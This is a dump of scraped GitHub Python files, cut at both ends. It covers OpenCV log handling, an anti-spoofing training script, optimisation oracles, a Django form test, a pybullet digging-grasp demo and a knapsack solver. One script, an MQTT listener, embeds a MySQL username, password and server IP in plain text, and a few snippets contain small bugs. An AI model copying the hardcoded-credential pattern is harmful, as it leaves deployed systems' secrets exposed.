\\t\\n\\r]+\", \" \", text[idx1:])\n except:\n pass\n\n if html:\n idx1 = text.find(\"\") + len(\"<title>\")\n idx2 = html.find(\"\")\n html = html[:idx1] + \"OpenCV performance testing report\" + html[idx2:]\n open(options.output, \"w\").write(html)\n else:\n sys.stderr.write(\"Error: no input data\")\n exit(-1)\n","repo_name":"joachimBurket/esp32-opencv","sub_path":"modules/ts/misc/concatlogs.py","file_name":"concatlogs.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":272,"dataset":"github-code","pt":"72"} +{"seq_id":"15349620635","text":"from torch import save\nfrom tester import Tester\nfrom learner import Learner\nfrom torch.optim import Adam\nfrom src.model import SpoofIdentifier\n\nmodel = SpoofIdentifier()\nopt = Adam(model.parameters(), ls=1e-4)\n\ntest_model_as_well = True\nsave_weights_as_well = True\n\nif __name__ == '__main__':\n trainer = Learner(model, opt)\n trainer.train() # might pass num of epochs\n \n if save_weights_as_well:\n # you might change the file's name\n filename = 'trained_weights'\n with open(f'./weights/{filename}.pth', 'wb') as f:\n save(trainer.model.state_dict(), f)\n \n if test_model_as_well:\n tester = Tester(trainer.model)\n tester.test_model()\n tester.confusion_matrix()","repo_name":"GabrielBifano/presentation-attack-detector-api","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"42272630896","text":"from typing import Optional, Tuple\r\n\r\nimport numpy as np\r\n\r\nfrom ellalgo.cutting_plane import OracleFeas\r\nfrom ellalgo.oracles.ldlt_mgr import LDLTMgr\r\n\r\nCut = Tuple[np.ndarray, float]\r\n\r\n\r\nclass LMIOldOracle(OracleFeas):\r\n \"\"\"Oracle for Linear Matrix Inequality constraint.\r\n\r\n This oracle solves the following feasibility problem:\r\n\r\n find x\r\n s.t. (B − F * x) ⪰ 0\r\n\r\n \"\"\"\r\n\r\n def __init__(self, mat_f, mat_b):\r\n \"\"\"\r\n The function initializes the class with two matrices and creates an instance of the LDLTMgr class.\r\n\r\n :param mat_f: A list of numpy arrays representing the matrix F\r\n :param mat_b: A numpy array representing the matrix B\r\n \"\"\"\r\n self.mat_f = mat_f\r\n self.mat_f0 = mat_b\r\n self.ldlt_mgr = LDLTMgr(len(mat_b))\r\n\r\n def assess_feas(self, x: np.ndarray) -> Optional[Cut]:\r\n \"\"\"\r\n The `assess_feas` function assesses the feasibility of a given input array `x` and returns a `Cut`\r\n object if the feasibility is violated, otherwise it returns `None`.\r\n\r\n :param x: An array of values that will be used in the calculation\r\n :type x: np.ndarray\r\n :return: The function `assess_feas` returns an `Optional[Cut]`.\r\n \"\"\"\r\n n = len(x)\r\n A = self.mat_f0.copy()\r\n A -= sum(self.mat_f[k] * x[k] for k in range(n))\r\n if not self.ldlt_mgr.factorize(A):\r\n ep = self.ldlt_mgr.witness()\r\n g = np.array([self.ldlt_mgr.sym_quad(self.mat_f[i]) for i in range(n)])\r\n return g, ep\r\n return None\r\n","repo_name":"luk036/ellalgo","sub_path":"src/ellalgo/oracles/lmi_old_oracle.py","file_name":"lmi_old_oracle.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36299058282","text":"class Solution(object):\n def combinationSum(self, candidates, target):\n return self.helper(candidates, target, [], set())\n \n def helper(self, arr, target, comb, result):\n for num in arr:\n if target - num == 0:\n result.add(tuple(sorted(comb[:] + [num])))\n elif target - num > 0:\n self.helper(arr, target-num, comb[:]+[num], result)\n return result\n","repo_name":"tonymontaro/leetcode-hints","sub_path":"problems/combination-sum/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"23065275009","text":"import paho.mqtt.client as mqtt\nimport logging\nimport json\nimport mysql.connector\nfrom mysql.connector import Error\n# Configura el logging\nlogging.basicConfig(filename='/home/taller2g2/logs/app.log', level=logging.INFO)\n\n# Configuración de las credenciales de la base de datos\nconfig = {\n 'user': 'taller2g2',\n 'password': 'taller2g2',\n 'host': '163.10.3.73',\n 'port': 3306,\n 'database': 'taller2',\n 'raise_on_warnings': True\n}\n\n# Callback cuando se conecta al broker\ndef on_connect(client, userdata, flags, rc):\n logging.info(f\"Conectado con código de resultado {rc}\")\n # Nos suscribimos al tópico (en este caso \"test/topic\")\n client.subscribe(\"Arduino/temp\")\n\n\n# Callback cuando se recibe un mensaje del tópico\ndef on_message(client, userdata, msg):\n data = json.loads(msg.payload.decode())\n try:\n conn = mysql.connector.connect(**config)\n # Crear un nuevo cursor\n cursor = conn.cursor()\n\n # Comando SQL para insertar un nuevo registro\n insert_query = \"\"\"\n INSERT INTO medidas (fecha_hora, temp) VALUES (NOW(), %s)\n \"\"\"\n\n # Datos que quieres insertar\n # Asegúrate de que la fecha y hora estén en el formato correcto que tu base de datos espera\n # Por ejemplo, podría ser un string en formato 'AAAA-MM-DD HH:MM:SS' para fecha y hora\n datos = (data[\"temp\"],)\n\n # Ejecutar el comando SQL\n cursor.execute(insert_query, datos)\n\n # Hacer commit de la transacción\n conn.commit()\n\n print(\"Registro insertado con éxito.\")\n except Error as e:\n print(f\"Error al insertar datos en MySQL: {e}\")\n finally:\n # Cerrar el cursor y la conexión\n if conn.is_connected():\n cursor.close()\n conn.close()\n print(\"La conexión a MySQL ha sido cerrada.\")\n\n logging.info(f\"Mensaje recibido: {data['temp']} en el tópico {msg.topic}\")\n \n\n\nlogging.info(\"test\")\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\nlogging.info(\"conectando\")\nclient.username_pw_set(\"taller2g2\", \"taller2g2\")\n# Establecer la conexión\ntry:\n conn = mysql.connector.connect(**config)\n print(\"Conexión exitosa a la base de datos.\")\nexcept mysql.connector.Error as e:\n print(f\"Error al conectar a MySQL: {e}\")\n# Conexión al broker\n\nclient.connect(\"163.10.3.73\", 1883, 60)\nlogging.info(\"Conectado\")\n\n# Loop para mantener el cliente activo y escuchando mensajes\nclient.loop_forever()\n\n","repo_name":"kleinher/ProyectoTaller2","sub_path":"backend/sv/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4112522418","text":"\"\"\"Experimental implementation of a format class to recognise raw images\nfrom a Quantum Detectors Merlin device in MIB file format\"\"\"\n\nfrom dxtbx.format.Format import Format\nfrom dxtbx.format.FormatMultiImage import FormatMultiImage\nfrom dxtbx.model import ScanFactory\nfrom dxtbx.model.detector import Detector\nimport numpy as np\nimport os\nfrom scitbx.array_family import flex\nfrom dxtbx.model.beam import Probe\n\n# The mib_properties class and get_mib_properties, processedMib and loadMib\n# functions are provided by Quantum Detectors Ltd. as example code (without\n# license) and are modified here.\nclass mib_properties(object):\n \"\"\"Class covering Merlin MIB file properties.\"\"\"\n\n def __init__(self):\n \"\"\"Initialisation of default MIB properties. Single detector, 1 frame, 12 bit\"\"\"\n self.path = \"\"\n self.buffer = True\n self.merlin_size = (256, 256)\n self.single = True\n self.quad = False\n self.raw = False\n self.dyn_range = \"12-bit\"\n self.packed = False\n self.pixeltype = np.uint16\n self.headsize = 384\n self.offset = 0\n self.addCross = False\n self.scan_size = (1, 1)\n self.xy = 1\n self.numberOfFramesInFile = 1\n self.gap = 0\n self.quadscale = 1\n self.detectorgeometry = \"1x1\"\n self.frameDouble = 1\n self.roi_rows = 256\n\n def show(self):\n \"\"\"Show current properties of the Merlin file. Use get_mib_properties(path/buffer) to populate\"\"\"\n if not self.buffer:\n print(\"\\nPath:\", self.path)\n else:\n print(\"\\nData is from a buffer\")\n if self.single:\n print(\"\\tData is single\")\n if self.quad:\n print(\"\\tData is quad\")\n print(\"\\tDetector geometry\", self.detectorgeometry)\n print(\"\\tData pixel size\", self.merlin_size)\n if self.raw:\n print(\"\\tData is RAW\")\n else:\n print(\"\\tData is processed\")\n print(\"\\tPixel type:\", np.dtype(self.pixeltype))\n print(\"\\tDynamic range:\", self.dyn_range)\n print(\"\\tHeader size:\", self.headsize, \"bytes\")\n print(\"\\tNumber of frames in the file/buffer:\", self.numberOfFramesInFile)\n print(\"\\tNumber of frames to be read:\", self.xy)\n\n\ndef get_mib_properties(head, image_file):\n \"\"\"parse header of a MIB data and return object containing frame parameters\"\"\"\n\n # init frame properties\n fp = mib_properties()\n # read detector size\n fp.merlin_size = (int(head[4]), int(head[5]))\n\n # test if RAW\n if head[6] == \"R64\":\n fp.raw = True\n\n if head[7].endswith(\"2x2\"):\n fp.detectorgeometry = \"2x2\"\n if head[7].endswith(\"Nx1\"):\n fp.detectorgeometry = \"Nx1\"\n\n # test if single\n if head[2] == \"00384\":\n fp.single = True\n # test if quad and then read full quad header\n if head[2] == \"00768\":\n # read quad data\n with open(image_file, \"rb\") as f:\n head = f.read(768).decode().split(\",\")\n fp.headsize = 768\n fp.quad = True\n fp.single = False\n\n # set bit-depths for processed data (binary is U08 as well)\n if not fp.raw:\n if head[6] == \"U08\":\n fp.pixeltype = np.dtype(\"uint8\")\n fp.dyn_range = \"1 or 6-bit\"\n if head[6] == \"U16\":\n fp.pixeltype = np.dtype(\">u2\")\n fp.dyn_range = \"12-bit\"\n if head[6] == \"U32\":\n fp.pixeltype = np.dtype(\">u4\")\n fp.dyn_range = \"24-bit\"\n\n return fp\n\n\ndef processedMib(mib_prop):\n \"\"\"load processed mib file, return is memmapped numpy file of specified geometry\"\"\"\n\n # define numpy type for MerlinEM frame according to file properties\n merlin_frame_dtype = np.dtype(\n [\n (\"header\", np.string_, mib_prop.headsize),\n (\"data\", mib_prop.pixeltype, mib_prop.merlin_size),\n ]\n )\n\n # generate offset in bytes\n offset = mib_prop.offset * merlin_frame_dtype.itemsize\n\n # map the file to memory, if a numpy or memmap array is given, work with it as with a buffer\n if type(mib_prop.path) == str:\n data = np.memmap(\n mib_prop.path,\n dtype=merlin_frame_dtype,\n offset=mib_prop.offset,\n shape=mib_prop.scan_size,\n )\n if type(mib_prop.path) == bytes:\n data = np.frombuffer(\n mib_prop.path,\n dtype=merlin_frame_dtype,\n count=mib_prop.xy,\n offset=mib_prop.offset,\n )\n data = data.reshape(mib_prop.scan_size)\n\n # remove header data and return\n return data[\"data\"]\n\n\n# This version is only for a single image\nclass FormatMIB(Format):\n @staticmethod\n def understand(image_file):\n \"\"\"Check to see if this looks like an MIB format file.\"\"\"\n\n try:\n with open(image_file, \"rb\") as f:\n head = f.read(384).decode().split(\",\")\n except (OSError, UnicodeDecodeError):\n return False\n\n return head[0] == \"MQ1\"\n\n @staticmethod\n def _mib_prop(image_file, show=False):\n \"\"\"Open the image file and read the header into a properties object\"\"\"\n\n with open(image_file, \"rb\") as f:\n head = f.read(384).decode().split(\",\")\n f.seek(0, os.SEEK_END)\n filesize = f.tell()\n\n # parse header info\n mib_prop = get_mib_properties(head, image_file)\n mib_prop.path = image_file\n\n # correct for buffer/file logic\n if type(image_file) == str:\n mib_prop.buffer = False\n\n # find the size of the data\n merlin_frame_dtype = np.dtype(\n [\n (\"header\", np.string_, mib_prop.headsize),\n (\"data\", mib_prop.pixeltype, mib_prop.merlin_size),\n ]\n )\n mib_prop.numberOfFramesInFile = filesize // merlin_frame_dtype.itemsize\n\n mib_prop.scan_size = mib_prop.numberOfFramesInFile\n mib_prop.xy = mib_prop.numberOfFramesInFile\n\n if show:\n mib_prop.show()\n\n return mib_prop\n\n def _start(self):\n\n mib_prop = self._mib_prop(self._image_file)\n\n self.mib_prop = mib_prop\n self.mib_data = processedMib(mib_prop)\n\n def get_raw_data(self):\n \"\"\"Get the pixel intensities\"\"\"\n\n return flex.double(self.mib_data[0, ...].astype(\"double\"))\n\n def _goniometer(self):\n \"\"\"Dummy goniometer, 'vertical' as the images are viewed. Not completely\n sure about the handedness yet\"\"\"\n\n return self._goniometer_factory.known_axis((0, -1, 0))\n\n def _detector(self):\n \"\"\"Dummy detector\"\"\"\n\n pixel_size = 0.055, 0.055\n image_size = self.mib_prop.merlin_size\n dyn_range = 12\n for word in self.mib_prop.dyn_range.split():\n if \"-bit\" in word:\n dyn_range = int(word.replace(\"-bit\", \"\"))\n break\n trusted_range = (0, 2 ** dyn_range - 1)\n beam_centre = [(p * i) / 2 for p, i in zip(pixel_size, image_size)]\n # Following discussion with QD, I think the origin of the image array\n # is at the bottom left (as viewed by dials.image_viewer), with fast\n # increasing +X and slow increasing +Y. See https://github.com/dials/dxtbx_ED_formats/pull/11\n d = self._detector_factory.simple(\n \"PAD\", 2440, beam_centre, \"+x\", \"+y\", pixel_size, image_size, trusted_range\n )\n return d\n\n def _beam(self):\n \"\"\"Dummy unpolarized beam, energy 200 keV\"\"\"\n\n wavelength = 0.02508\n return self._beam_factory.make_polarized_beam(\n sample_to_source=(0.0, 0.0, 1.0),\n wavelength=wavelength,\n polarization=(0, 1, 0),\n polarization_fraction=0.5,\n probe=Probe.electron,\n )\n\n\nclass FormatMIBimages(FormatMIB):\n @staticmethod\n def understand(image_file):\n mib_prop = FormatMIB._mib_prop(image_file)\n return mib_prop.numberOfFramesInFile == 1\n\n def __init__(self, image_file, **kwargs):\n from dxtbx import IncorrectFormatError\n\n if not self.understand(image_file):\n raise IncorrectFormatError(self, image_file)\n Format.__init__(self, image_file, **kwargs)\n\n def _scan(self):\n \"\"\"Dummy scan for this image\"\"\"\n\n fname = os.path.split(self._image_file)[-1]\n index = int(fname.split(\"_\")[-1].split(\".\")[0])\n return ScanFactory.make_scan((index, index), 0.0, (0, 1), {index: 0})\n\n\nclass FormatMIBstack(FormatMultiImage, FormatMIB):\n @staticmethod\n def understand(image_file):\n mib_prop = FormatMIB._mib_prop(image_file)\n return mib_prop.numberOfFramesInFile > 1\n\n def __init__(self, image_file, **kwargs):\n from dxtbx import IncorrectFormatError\n\n if not self.understand(image_file):\n raise IncorrectFormatError(self, image_file)\n FormatMultiImage.__init__(self, **kwargs)\n Format.__init__(self, image_file, **kwargs)\n\n def get_num_images(self):\n return self.mib_prop.numberOfFramesInFile\n\n def get_goniometer(self, index=None):\n return Format.get_goniometer(self)\n\n def get_detector(self, index=None):\n return Format.get_detector(self)\n\n def get_beam(self, index=None):\n return Format.get_beam(self)\n\n def get_scan(self, index=None):\n if index == None:\n return Format.get_scan(self)\n else:\n scan = Format.get_scan(self)\n return scan[index]\n\n def get_image_file(self, index=None):\n return Format.get_image_file(self)\n\n def get_raw_data(self, index):\n return flex.double(self.mib_data[index, ...].astype(\"double\"))\n\n def _scan(self):\n \"\"\"Scan model for this stack, filling out any unavailable items with\n dummy values\"\"\"\n\n alpha = 0.0\n dalpha = 1.0\n exposure = 0.0\n\n oscillation = (alpha, dalpha)\n nframes = self.get_num_images()\n image_range = (1, nframes)\n epochs = [0] * nframes\n\n return self._scan_factory.make_scan(\n image_range, exposure, oscillation, epochs, deg=True\n )\n","repo_name":"dials/dxtbx_ED_formats","sub_path":"FormatMIB.py","file_name":"FormatMIB.py","file_ext":"py","file_size_in_byte":10119,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"43856338900","text":"# -*- coding: utf-8 -*-\r\nimport numpy as np\r\nfrom models import Dignet\r\nimport torch\r\nimport os\r\nimport random\r\nimport pybullet as p\r\nimport sim_class\r\nfrom PIL import Image\r\nimport tool\r\nimport test_network_sim\r\nfrom tqdm import tqdm\r\n\r\nnp.random.seed(0)\r\nrandom.seed(0)\r\nimg_save_dir = './test_data/train/input/'\r\nstate_save_dir = img_save_dir.replace(\"input\", \"state\")\r\nrandom_para_save_dir = img_save_dir.replace(\"input\", \"random_para\")\r\nseg_map_dir = img_save_dir.replace(\"input\", \"seg_save\")\r\nsec_input_dir = img_save_dir.replace(\"input\", \"sec_input\")\r\n\r\ntool.create_dir_not_exist(img_save_dir)\r\ntool.create_dir_not_exist(state_save_dir)\r\ntool.create_dir_not_exist(random_para_save_dir)\r\ntool.create_dir_not_exist(seg_map_dir)\r\ntool.create_dir_not_exist(sec_input_dir)\r\n\r\n#%%\r\nimage_pixel_before = 320\r\nimage_pixel_after = 240\r\n\r\ndef first_genrate_depth_image(floder_id):\r\n np.random.seed(floder_id)\r\n lateralFriction_random = 0.3\r\n globalScaling_random = 1\r\n \r\n object_type = random.randint(0,1)\r\n object_type = 0\r\n if object_type == 0:\r\n object_path = './objurdf/duomi/duomi.urdf'\r\n mass_random = 0.02\r\n num_obj = 130\r\n elif object_type == 1:\r\n object_path = './objurdf/gosize/cy.urdf'\r\n num_obj = 140\r\n mass_random = 0.02\r\n elif object_type == 2:\r\n object_path = './objurdf/key/sj.urdf'\r\n num_obj = 90+random.randint(-10,10)\r\n\r\n #%%\r\n GUI = True\r\n yaw_times = 6\r\n aps = 4\r\n pitch_times = 3\r\n roll_times = 3\r\n fl_times = 4\r\n\r\n\r\n EyePosition=[0,0,0.46]\r\n# EyePosition=[0,0,0.46]\r\n TargetPosition=[0,0,0]\r\n fov_d = 69.25\r\n near = 0.001\r\n far = EyePosition[2]+0.05\r\n state_save_path = state_save_dir+str(floder_id)+'.bullet'\r\n robotStartOrn = p.getQuaternionFromEuler([0, 0, 0])\r\n #%%\r\n random_para=[]\r\n random_para.append(GUI)\r\n random_para.append(num_obj)\r\n random_para.append(yaw_times)\r\n random_para.append(EyePosition)\r\n random_para.append(TargetPosition)\r\n random_para.append(fov_d)\r\n random_para.append(near)\r\n random_para.append(far)\r\n random_para.append(state_save_path)\r\n random_para.append(object_path)\r\n random_para.append(aps)\r\n random_para.append(pitch_times)\r\n random_para.append(roll_times)\r\n random_para.append(fl_times)\r\n #%%\r\n rot_step_size = 360 / yaw_times\r\n y_ws = np.array([rot_step_size * i for i in range(yaw_times)]).tolist()\r\n # 0: 0.02 1:0.03 2:0.04\r\n ap_ws = [0, 1, 2, 3]\r\n p_ws = [0,10,20]\r\n r_ws = [0,-10,10]\r\n fl_ws = [0,1,2,3]\r\n\r\n selected_yaw = random.sample(y_ws, 3)\r\n selected_pitch = random.sample(p_ws, 1)\r\n selected_roll= random.sample(r_ws, 1)\r\n selected_ap= random.sample(ap_ws, 2)\r\n selected_fl = random.sample(fl_ws, 2)\r\n\r\n random_para.append(selected_yaw)\r\n random_para.append(selected_pitch)\r\n random_para.append(selected_roll)\r\n random_para.append(selected_ap)\r\n random_para.append(selected_fl)\r\n \r\n random_para.append(mass_random)\r\n random_para.append(lateralFriction_random)\r\n random_para.append(globalScaling_random)\r\n \r\n random_para.append(object_type)\r\n random_para = np.array(random_para,dtype=object)\r\n np.save(random_para_save_dir+str(floder_id)+'.npy',random_para)\r\n #%%\r\n #_init_ sim_env\r\n sim = sim_class.Sim(state_save_path, num_obj, GUI, image_pixel_before, \r\n EyePosition,TargetPosition,fov_d,far,near,\r\n robotStartOrn,object_path,mass_random,\r\n lateralFriction_random,globalScaling_random)\r\n \r\n curr_r = p.startStateLogging(p.STATE_LOGGING_VIDEO_MP4,\"video_logs/fir_task_vid_\" + str(floder_id) + \".mp4\") \r\n #build env_sim\r\n sim.build_e()\r\n #\r\n rgbImg, depthImg, segImg = sim.render()\r\n img_d, float_depth, poke_pos_map = sim.after_render()\r\n img_d[np.where(segImg==0)] = 255\r\n p.stopStateLogging(curr_r)\r\n p.disconnect()\r\n \r\n return img_d, segImg\r\n\r\n\r\n# if not os.path.exists(\"video_logs/\"):\r\n# os.makedirs(\"video_logs\")\r\n\r\ndef poke_in_sim(row, col, yt, pt, rt, ap_ind, fl_ind,floder_id):\r\n random_para = np.load(random_para_save_dir+str(floder_id)+'.npy',allow_pickle=True)\r\n GUI = random_para[0]\r\n num_obj = random_para[1]\r\n# yaw_times = random_para[2]\r\n EyePosition=random_para[3]\r\n TargetPosition=random_para[4]\r\n fov_d = random_para[5]\r\n near = random_para[6]\r\n far = random_para[7]\r\n state_save_path = random_para[8]\r\n object_path = random_para[9]\r\n \r\n mass_random = random_para[19]\r\n lateralFriction_random = random_para[20]\r\n globalScaling_random = random_para[21] \r\n robotStartOrn = p.getQuaternionFromEuler([0, 0, 0])\r\n \r\n \r\n #_init_ class\r\n sim = sim_class.Sim(state_save_path, num_obj, GUI, image_pixel_before, \r\n EyePosition,TargetPosition,fov_d,far,near,\r\n robotStartOrn,object_path,mass_random,\r\n lateralFriction_random,globalScaling_random)\r\n sim.restore_env()\r\n #image render\r\n rgbImg, depthImg, segImg = sim.render()\r\n img_d, float_depth, poke_pos_map = sim.after_render()\r\n img_d[np.where(segImg==0)] = 255\r\n ######################################################################\r\n \r\n #%%\r\n dig_depth = 0.03 \r\n \r\n sim.reset()\r\n \r\n curr_r = p.startStateLogging(p.STATE_LOGGING_VIDEO_MP4,\"video_logs/sec_task_vid_\" + str(floder_id) + \".mp4\") \r\n \"停在上方的位置\"\r\n surface_pos_x = poke_pos_map[row, col][0]\r\n surface_pos_y = poke_pos_map[row, col][1]\r\n surface_pos_z = poke_pos_map[row, col][2]\r\n \r\n robot_start_pos = [surface_pos_x,surface_pos_y,surface_pos_z+0.01]\r\n \"remember r_yaw is negtive\"\r\n r_yaw = -int(yt)\r\n r_pitch = int(pt)\r\n r_roll = int(rt)\r\n robot_orn = tool.world_to_gripper_orn(r_pitch, r_roll, r_yaw)\r\n\r\n target_pos_orn = p.multiplyTransforms(robot_start_pos, robot_orn, [0,0,-dig_depth], [0,0,0,1])\r\n\r\n \"finger_length at row i col i\"\r\n finger_length = str(int(fl_ind))\r\n \"set urdf with finger_length\"\r\n robot_path = './gripper_urdf/'+str(int(ap_ind))+finger_length+'.urdf' \r\n label_at_pixel = sim.reset_and_poke(robot_start_pos,target_pos_orn,robot_orn,robot_path) \r\n\r\n p.stopStateLogging(curr_r)\r\n \r\n p.disconnect()\r\n \r\n return label_at_pixel\r\n#%%\r\nloop_id==7 \r\nfile_id = '1VJ1uCrph1Xw9_FkU8G0pB86r14VUBcRV'\r\nmodel_path = './round7.ckpt'\r\ntool.download_file_from_google_drive(file_id, model_path) \r\nos.environ[\"KMP_DUPLICATE_LIB_OK\"]=\"TRUE\"\r\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\r\nprint('test network device', device)\r\nmodel = Dignet(num_input_channels=3)\r\nstate_dict = {k.replace('auto_encoder.', ''): v for k, v in torch.load(model_path,map_location=device)['state_dict'].items()}\r\nmodel.load_state_dict(state_dict)\r\nmodel.to(device)\r\nmodel.eval()\r\n#%%\r\nsuccess = 0\r\nfail = 0\r\nid_ind = 0\r\n#depth_image, seg_image = first_genrate_depth_image(floder_id=id_ind)\r\n#tmp_img_d = depth_image.copy()\r\n#tmp_img_d = tmp_img_d.astype(np.uint8)\r\n#tmp_img_d = Image.fromarray(tmp_img_d)\r\n#tmp_img_d.save('record_depth.png')\r\n#%%\r\ndepth_image = np.array(Image.open('record_depth.png'))\r\npixel_row,pixel_col, yaw, pitch, roll, aperture, fl = test_network_sim.test_batch(model,depth_image,seg_image=0)\r\nlabel = poke_in_sim(pixel_row,pixel_col, yaw, pitch, roll, aperture, fl,id_ind)\r\n\r\n#id_ind = 0\r\n#depth_image = np.array(Image.open('record_depth.png'))\r\n#pixel_row,pixel_col, yaw, pitch, roll, aperture, fl = test_network_sim.test_batch(model,depth_image,seg_image=0)\r\n#pixel_row = 100\r\n#pixel_col = 100\r\n#yaw = 240\r\n#label = poke_in_sim(pixel_row,pixel_col, yaw, pitch, roll, aperture, fl,id_ind)\r\n\r\n","repo_name":"HKUST-RML/Learning-to-Grasp-by-Digging","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":7741,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"18090870695","text":"import inspect\n\nfrom .errors import DispatchError\n\n\nclass Dispatcher(object):\n def __init__(self):\n self._functions = {}\n\n def register(self, name, *signatures):\n def wrapper(func):\n if name not in self._functions:\n self._functions[name] = {}\n if signatures:\n for signature in signatures:\n self._functions[name][signature] = func\n else:\n self._functions[name] = func\n return func\n return wrapper\n\n def call(self, name, *args):\n if name not in self._functions:\n raise DispatchError(\n 'No implementation exists for \"%s\"' % (name,)\n )\n\n func = self._functions[name]\n arg_types = tuple([\n arg.data_type\n for arg in args\n ])\n\n if arg_types:\n error = DispatchError(\n '\"%s\" cannot be invoked on arguments of type: %s' % (\n name,\n ', '.join(arg_types),\n ),\n )\n else:\n error = DispatchError(\n '\"%s\" cannot be invoked without arguments' % (\n name,\n )\n )\n\n if isinstance(func, dict):\n func = func.get(arg_types)\n if not func:\n raise error\n\n else:\n argspec = inspect.getargspec(func)\n num_reqd_args = len(argspec.args) - len(argspec.defaults or [])\n if len(arg_types) < num_reqd_args:\n raise error\n\n elif len(arg_types) > len(argspec.args) and not argspec.varargs:\n raise error\n\n return func(*args)\n\n\nclass Registry(object):\n def __init__(self):\n self._dispatchers = {}\n\n def __call__(self, name):\n if name not in self._dispatchers:\n self._dispatchers[name] = Dispatcher()\n return self._dispatchers[name]\n\n\nget_dispatcher = Registry() # noqa: invalid-name\n\n\nUNARY_OPERATORS = get_dispatcher('unary_operators')\nBINARY_OPERATORS = get_dispatcher('binary_operators')\nFUNCTIONS = get_dispatcher('functions')\n\n","repo_name":"bexl/bexl-py","sub_path":"src/bexl/dispatcher.py","file_name":"dispatcher.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"20720967091","text":"import self as self\nfrom django.test import TestCase\n\nfrom courses_app.forms import SchoolCourseApplicationForm\nfrom courses_app.models import SchoolCourse\n\n\nprint(f\"Tests in '{__name__}' started\")\n\n\nclass TestSchoolCourseApplicationForm(TestCase):\n\n @classmethod\n def setUpTestData(cls):\n # Set up non-modified objects used by all test methods\n SchoolCourse.objects.create(\n name='Python for beginner',\n price='60 BYN',\n number_of_lessons=\"10\",\n )\n\n school_course = SchoolCourse.objects.get(pk=1)\n\n valid_form_data = [\n {\n 'course': school_course,\n 'user_name': \"Andry22\",\n 'phone': \"+3544564564\",\n 'telegram': \"@shlom41k\",\n },\n { # without telegram\n 'course': school_course,\n 'user_name': \"Andry22\",\n 'phone': \"+3544564564\",\n },\n ]\n\n # Testing all valid data inputs\n def test_valid_data(self):\n for data in self.valid_form_data:\n form = SchoolCourseApplicationForm(data=data)\n self.assertTrue(form.is_valid())\n\n invalid_form_data = [\n { # without phone\n 'course': school_course,\n 'user_name': \"Andry22\",\n 'telegram': \"@shlom41k\",\n },\n { # without user_name\n 'course': school_course,\n 'phone': \"+3544564564\",\n 'telegram': \"@shlom41k\",\n },\n { # without course\n 'user_name': \"Andry22\",\n 'phone': \"+3544564564\",\n 'telegram': \"@shlom41k\",\n },\n { # empty course field\n 'course': \"\",\n 'user_name': \"Andry22\",\n 'phone': \"+3544564564\",\n 'telegram': \"@shlom41k\",\n },\n { # another type of course field [int]\n 'course': 5,\n 'user_name': \"Andry22\",\n 'phone': \"+3544564564\",\n 'telegram': \"@shlom41k\",\n },\n { # another type of course field [bool]\n 'course': False,\n 'user_name': \"Andry22\",\n 'phone': \"+3544564564\",\n 'telegram': \"@shlom41k\",\n },\n { # empty user_name field\n 'course': school_course,\n 'user_name': \"\",\n 'phone': \"+3544564564\",\n 'telegram': \"@shlom41k\",\n },\n { # empty phone field\n 'course': school_course,\n 'user_name': \"Andry22\",\n 'phone': \"\",\n 'telegram': \"@shlom41k\",\n },\n ]\n\n # Testing all valid data inputs\n def test_invalid_data(self):\n for data in self.invalid_form_data:\n form = SchoolCourseApplicationForm(data=data)\n self.assertFalse(form.is_valid())\n\n # Test some fields\n test_true_fields = {\n # \"field\": (\"label\", ),\n \"user_name\": (\"Person\", ),\n \"phone\": (\"Person Phone\", ),\n \"telegram\": (\"Telegram\", ),\n \"course\": (\"Course\", ),\n }\n\n def test_form_name_field_label(self):\n form = SchoolCourseApplicationForm()\n\n for field, (label, ) in self.test_true_fields.items():\n self.assertEqual(form.fields[field].label, label)\n\n\nprint(f\"Tests in '{__name__}' finished\")\n","repo_name":"shlom41k/z63_final","sub_path":"src/final_prj/courses_app/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70302173352","text":"import random\r\nfrom itertools import combinations\r\n\r\nn = 15\r\nP = [135,139,149,150,156,163,173,184,192,201,210,214,221,229,240]\r\nW = [70,73,77,80,82,87,90,94,98,106,110,113,115,118,120]\r\nC = 750\r\ne = 2.7182818284590452\r\n\r\ndef violence():\r\n zp = 0\r\n zw = 0\r\n ans = -1\r\n for i in range(2**n):\r\n w = 0\r\n p = 0\r\n for j in range(n):\r\n t = (i & (1<> j\r\n w += W[-j] * t\r\n p += P[-j] * t\r\n if w <= C and p >= zp:\r\n ans = i\r\n zp = p\r\n zw = w\r\n ans = bin(ans)[2:]\r\n ans = [int(s) for s in ans]\r\n return (ans,zp,zw)\r\n\r\ndef dp():\r\n ans = [0] * (C + 1)\r\n for i in range(n):\r\n for j in range(C,-1,-1):\r\n if j >= W[i]:\r\n ans[j] = max(ans[j],ans[j-W[i]] + P[i])\r\n return ans[-1]\r\n\r\ndef gen_neighbor(n,d):\r\n ans = []\r\n for i in range(1,d+1):\r\n ans += list(combinations(range(n),i))\r\n return ans\r\n\r\ndef sa(T,alpha,neighbor_size):\r\n random.seed(0)\r\n ans = [0] * n\r\n weight = 0\r\n price = 0\r\n max_ans = None\r\n max_price = 0\r\n max_weight = 0\r\n max_T = None\r\n while T > 1:\r\n neighbor = gen_neighbor(n,neighbor_size)\r\n flag = 